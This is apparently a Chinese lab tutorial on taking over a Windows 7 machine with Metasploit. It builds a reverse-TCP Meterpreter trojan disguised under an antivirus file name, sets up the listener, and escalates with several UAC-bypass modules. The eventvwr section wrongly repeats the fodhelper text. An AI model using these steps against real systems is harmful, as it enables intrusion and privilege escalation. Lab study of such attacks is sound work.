- 前言
- 攻击环境
- 获取shell
- UAC提权
一. 前言
前段时间有做过一次内核提权的尝试,不过没有成功,主要还是权限控制的比较严格,并且该打的补丁都打了。但是方法还是有用的,还有就是思路流程总结一下。
二. 攻击环境
- 攻击机:kali Linux 2019.1 IP:192.168.28.156
- 靶机:Windows7 ultimate sp1 IP:192.168.28.138
三. 获取shell
3.1 生成木马
首先启动msf数据库
1 | /etc/init.d/postgresql start |
生成木马
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.156 lport=8585 -f exe -o 360sd.exe |
3.2 启用MSF监听
1 | use exploit/multi/handler |
3.3 投放木马并运行
3.4 获取shell
四. UAC提权
在获取到shell之后,可以先测试一下命令测试权限
1 | getsystem |
如果你没有系统/管理员权限,那么你就需要绕过目标系统的UAC保护。
输入background
将获取到的会话转入后台,更换其他exp进行提权操作。
4.1 Windows升级UAC保护绕过
此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。
1 | msf > use exploit/windows/local/bypassuac |
从下图可以看到,又建立了一个meterpreter会话2连接,现在输入getsystem和getuid两条命令来查看系统权限:
4.2 Windows升级UAC保护绕过(内存注入)
此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块使用反射DLL注入技术仅删除DLLpayload二进制文件而不是删除标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构(对于SYSWOW64系统也使用x64)。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。
1 | msf > use exploit/windows/local/bypassuac_injection |
从下图中可以看出,meterpreter 会话2已经成功打开,现在输入getsystem和getuid两条命令来查看权限
4.3 Windows升级UAC保护绕过(FodHelper注册表键值绕过)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块修改注册表项,但在调用payload后清除该项。该模块不要求payload的结构与OS匹配。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。
1 | msf > use exploit/windows/local/bypassuac_fodhelper |
4.4 Windows升级UAC保护绕过(Eventvwr注册表键值绕过)
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入自定义命令,这个命令将在启动Windows fodhelper.exe应用程序时调用来绕过Windows 10 UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块修改注册表项,但在调用payload后清除该项。该模块不要求payload的结构与OS匹配。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。
1 | msf > use exploit/windows/local/bypassuac_eventvwr |
4.5 Windows升级UAC保护绕过(COM Handler劫持绕过)
此模块将通过在HKCU配置单元中创建COM处理程序注册表项来绕过Windows UAC。加载某些高完整性进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话升级的payload。在payload调用后清除注册表项修改。此模块要求payload的体系结构与OS匹配,但当前的低权限Meterpreter会话的体系结构并不相同。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果限制cmd.exe访问,则此模块将无法正常运行。
1 | msf > use exploit/windows/local/bypassuac_comhijack |